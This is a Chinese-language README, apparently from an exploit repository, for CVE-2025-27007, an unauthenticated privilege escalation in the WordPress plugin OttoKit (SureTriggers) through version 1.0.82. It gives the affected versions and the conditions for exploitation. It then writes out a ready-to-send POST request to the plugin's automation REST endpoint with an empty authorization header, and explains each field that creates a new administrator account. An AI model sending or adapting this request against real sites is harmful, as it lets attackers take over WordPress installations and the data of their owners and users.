CVE-2025-27007：OttoKit（SureTriggers）权限提升漏洞

对 CVE-2025-27007 的利用，这是 OttoKit 插件（原名 SureTriggers）中一个严重的未授权权限提升漏洞，针对 WordPress。本仓库概述了攻击者如何在易受攻击的 WordPress 站点上创建管理员账户。

受影响版本

• 所有版本的 OttoKit（SureTriggers）≤ 1.0.82。
• 已在版本 1.0.83 中修复。

利用条件

该漏洞可在以下情况下被利用：

1. OttoKit 必须在目标 WordPress 站点上安装并激活。
2. 插件未初始化（例如，数据库中未设置 API 密钥或 "secret_key"）。
3. 目标站点暴露 REST API 端点 '/wp-json/sure-triggers/v1/automation/action'。

HTTP 请求

以下请求针对 /wp-json/sure-triggers/v1/automation/action 端点创建管理员账户：

POST /wp-json/sure-triggers/v1/automation/action HTTP/1.1
Host: [target-site]
Content-Type: application/x-www-form-urlencoded
St-Authorization: 
Content-Length: [length]

selected_options[user_name]=new_admin&selected_options[user_email][email protected]&selected_options[password]=StrongP@ssw0rd123&selected_options[role]=administrator&aintegration=WordPress&type_event=create_user_if_not_exists

请求说明

• 端点：POST /wp-json/sure-triggers/v1/automation/action

• St-Authorization: （空）：当插件未配置时绕过身份验证。

• selected_options[user_name]：新账户的用户名（例如 new_admin）。

• selected_options[user_email]：新账户的电子邮件（例如 [email protected]）。

• selected_options[password]：新账户的密码（例如 StrongP@ssw0rd123）。

• selected_options[role]：设置为 administrator 以授予完全权限。

• type_event：设置为 create_user_if_not_exists 以触发用户创建。